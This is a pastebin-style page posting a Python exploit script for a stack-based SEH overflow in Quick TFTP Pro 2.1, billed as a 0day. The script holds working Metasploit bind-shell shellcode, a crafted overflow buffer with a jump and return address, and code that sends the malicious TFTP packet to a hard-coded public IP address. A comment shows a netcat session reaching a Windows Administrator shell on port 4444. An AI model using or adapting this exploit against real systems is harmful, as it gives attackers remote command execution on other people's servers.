Untitled

From Voluminous Hamster, 4 Months ago, written in Plain Text, viewed 57 times.
URL https://secploit.com/view/81e0eecd Embed
Download Paste or View Raw
  1. #!/usr/bin/python
  2. # Quick TFTP Pro 2.1 SEH Overflow (0day)
  3. # Tested on Windows XP SP2.
  4. # Coded by Mati Aharoni
  5. # muts..at..offensive-security.com
  6. # http://www.offensive-security.com/0day/quick-tftp-poc.py.txt
  7. #########################################################
  8. # bt ~ # quickftp.py
  9. # [*] Quick TFTP Pro 2.1 SEH Overflow (0day)
  10. # [*] http://www.offensive-security.com
  11. # [*] Sending evil packet, ph33r
  12. # [*] Check port 4444 for bindshell
  13. # bt ~ # nc -v 172.16.167.130 4444
  14. # (UNKNOWN) [172.16.167.130] 4444 (krb524) open
  15. # Microsoft Windows XP [Version 5.1.2600]
  16. # (C) Copyright 1985-2001 Microsoft Corp.
  17. #
  18. # C:\Documents and Settings\Administrator>
  19. ##########################################################
  20. import socket
  21. import sys
  22.  
  23. print "[*] Quick TFTP Pro 2.1 SEH Overflow (0day)"
  24. print "[*] http://www.offensive-security.com"
  25.  
  26. host = '82.127.245.27'
  27. port = 4444
  28.  
  29. try:
  30.     s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  31. except:
  32.     print "socket() failed"
  33.     sys.exit(1)
  34.  
  35. filename = "pwnd"
  36.  
  37. # windows/shell_bind_tcp - 317 bytes
  38. # http://www.metasploit.com
  39. # EXITFUNC=thread, LPORT=4444
  40.  
  41. shell = ("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b"
  42.          "\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01"
  43.          "\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07"
  44.          "\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f"
  45.          "\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b"
  46.          "\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
  47.          "\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff"
  48.          "\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0"
  49.          "\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08"
  50.          "\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53"
  51.          "\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x66\x68\x11\x5c\x66"
  52.          "\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51"
  53.          "\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53\x55\xff\xd0"
  54.          "\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff\xd0\x93"
  55.          "\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66"
  56.          "\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
  57.          "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38"
  58.          "\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57"
  59.          "\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9"
  60.          "\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83"
  61.          "\xc4\x64\xff\xd6\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6"
  62.          "\xff\xd0")
  63.  
  64. mode = "A" * 1019 + "\xeb\x08\x90\x90" + "\x58\x14\xd3\x74" + "\x90" * 16 + shell
  65.  
  66. muha = "\x00\x02" + filename + "\0" + mode + "\0"
  67.  
  68. print "[*] Sending evil packet, ph33r"
  69. s.sendto(muha, (host, port))
  70. print "[*] Check port 4444 for bindshell"
  71.  
  72.  

Reply to "Untitled"

Here you can reply to the paste above